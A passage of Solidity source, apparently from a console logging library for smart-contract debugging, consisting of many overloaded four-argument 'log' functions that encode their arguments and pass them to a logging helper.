function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { 